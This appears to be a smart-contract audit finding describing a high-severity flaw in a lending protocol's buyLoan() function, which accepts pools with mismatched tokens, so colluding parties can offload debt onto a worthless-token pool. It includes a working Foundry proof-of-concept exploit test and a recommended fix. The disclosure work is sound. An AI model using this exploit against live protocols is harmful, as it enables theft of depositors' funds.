20,000 USDC
View results
Submission Details
Severity: high
Valid

Lender and borrower maliciously can extract value from the protocol using a malicious pool with tokens that may be worth nothing

Summary

The lender and borrower may be colluding in order to extract value from the protocol using the buyLoan() function.

Vulnerability Details

The buyLoan() function helps to buy a loan using the specified pool. The problem is that buyLoan() function does not validate that the loan tokens (loanToken, collateralToken) are the same that the pool tokens (loanToken, collateralToken) who will take the loan.

Please see the next test where the lender, borrower and the attacker can be colluded or be the same person and extract value from the protocol. At the end the borrower will not repay the debt, the lender will extract money from the protocol and the debt will be acquired by the malicious pool which has worthless tokens:

  1. Lender1 (malicious actor) creates the legitimate pool with initial 1000 token balance. Borrower (malicious actor) borrows 100 token debt.

  2. Attacker creates his pool using malicious tokens (tokens that may be worth nothing).

  3. Lender1 (malicious actor) kicks off the auction.

  4. The Attacker call the buyLoan() function using his malicious pool.

  5. The Lender1 (malicious actor) pool has the loaned amount + interests. Lender1 (malicious actor) can withdraw all his pool balance money.

  6. The malicious pool has the debt. 1000 initial pool balance - 100 debt tokens - borrow interests.
    The lender1 (malicious actor) withdraw his initial deposit (1000 legitimate tokens).
    The borrower (malicious actor) does not repay the debt (100 legitimate tokens).
    The malicious pool has the debt with custom (malicious) tokens that may be worth nothing.

At the end lender1 and borrower maliciously extract 100 tokens from the protocol.

// File: test/Lender.t.sol:LenderTest
// $ forge test --match-test "test_buyLoan_using_different_tokens" -vvv
//
function test_buyLoan_using_different_tokens() public {
// Lender and borrower maliciously can extract value from the protocol using a malicious pool with tokens that may be worth nothing.
// 1. Lender1 (malicious actor) creates the pool with initial 1000 token balance. Borrower (malicious actor) borrows 100 token debt.
// 2. Attacker creates his pool using malicious tokens (tokens that may be worth nothing).
// 3. Lender1 (malicious actor) kicks off the auction.
// 4. The Attacker call the buyLoan() function using his malicious pool.
// 5. The Lender1 (malicious actor) pool has the loaned amount + interests. Lender1 (malicious actor) can withdraw all his pool balance money..
// 6. The malicious pool has the debt. 1000 initial pool balance - 100 debt tokens - borrow interests.
// The `lender1` (malicious actor) withdraw his initial deposit (1000 legitimate tokens).
// The `borrower` (malicious actor) does not repay the debt (100 legitimate tokens).
// The malicious pool has the debt with custom (malicious) tokens that may be worth nothing.
//
address attacker = address(1337);
TERC20 maliciousLoanToken = new TERC20();
TERC20 maliciousCollateralToken = new TERC20();
maliciousLoanToken.mint(address(attacker), 100000*10**18);
maliciousCollateralToken.mint(address(attacker), 100000*10**18);
//
// There are others pools who deposit to the protocol
vm.startPrank(lender2);
Pool memory lender2Pool = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(lender2Pool);
//
// 1. Lender1 (malicious actor) creates the pool with initial 1000 token balance. Borrower (malicious actor) borrows 100 token debt.
//
test_borrow();
bytes32 poolIdLender1 = lender.getPoolId(lender1, address(loanToken), address(collateralToken));
(,,,,uint256 poolBalance,,,,) = lender.pools(poolIdLender1);
// assert loan debt and pool balance
assertEq(lender.getLoanDebt(0), 100*10**18);
assertEq(poolBalance, 900 * 10**18);
//
// 2. Attacker creates his pool using malicious tokens (tokens that may be worth nothing).
//
// attacker creates his pool
vm.startPrank(attacker);
maliciousLoanToken.approve(address(lender), 1000000*10**18);
maliciousCollateralToken.approve(address(lender), 1000000*10**18);
Pool memory maliciousPool = Pool({
lender: attacker,
loanToken: address(maliciousLoanToken),
collateralToken: address(maliciousCollateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 maliciousPoolId = lender.setPool(maliciousPool);
//
// 3. Lender1 (malicious actor) kicks off the auction.
//
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
vm.prank(lender1);
lender.startAuction(loanIds);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
//
// 4. The Attacker call the buyLoan() function using his malicious pool.
//
vm.startPrank(attacker);
lender.buyLoan(0, maliciousPoolId);
//
// 5. The Lender1 (malicious actor) pool has the loaned amount + interests. Lender1 (malicious actor) can withdraw all his pool balance money..
//
// assert lender1 pool balance is 1000 + interests
(,,,,poolBalance,,,,) = lender.pools(poolIdLender1);
assertGt(poolBalance, 1000 * 10**18); // 1000 + interests (assertGt)
vm.prank(lender1);
lender.removeFromPool(poolIdLender1, 1000 * 10**18);
//
// 6. The malicious pool has the debt. 1000 initial pool balance - 100 debt tokens - borrow interests.
// The `lender1` (malicious actor) withdraw his initial deposit (1000 legitimate tokens).
// The `borrower` (malicious actor) does not repay the debt (100 legitimate tokens).
// The malicious pool has the debt with custom (malicious) tokens that may be worth nothing.
//
(,,,,poolBalance,,,,) = lender.pools(maliciousPoolId);
assertLt(poolBalance, (1000 - 100) * 10**18); // poolBalance < (1000 - 100 - borrow interests)
}

Impact

The protocol will lost money by malicious actors who can extract value using malicious pool.

Tools used

Manual review

Recommendations

Validates that the pool, whoever is assigned the debt, is using the same loanToken and collateralToken tokens that the loan has.

function buyLoan(uint256 loanId, bytes32 poolId) public {
// get the loan info
Loan memory loan = loans[loanId];
// validate the loan
if (loan.auctionStartTimestamp == type(uint256).max)
revert AuctionNotStarted();
if (block.timestamp > loan.auctionStartTimestamp + loan.auctionLength)
revert AuctionEnded();
// calculate the current interest rate
uint256 timeElapsed = block.timestamp - loan.auctionStartTimestamp;
uint256 currentAuctionRate = (MAX_INTEREST_RATE * timeElapsed) /
loan.auctionLength;
// validate the rate
if (pools[poolId].interestRate > currentAuctionRate) revert RateTooHigh();
// calculate the interest
(uint256 lenderInterest, uint256 protocolInterest) = _calculateInterest(
loan
);
// reject if the pool is not big enough
uint256 totalDebt = loan.debt + lenderInterest + protocolInterest;
if (pools[poolId].poolBalance < totalDebt) revert PoolTooSmall();
++ if (pools[poolId].loanToken != loan.loanToken) revert TokenMismatch();
++ if (pools[poolId].collateralToken != loan.collateralToken) revert TokenMismatch();

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.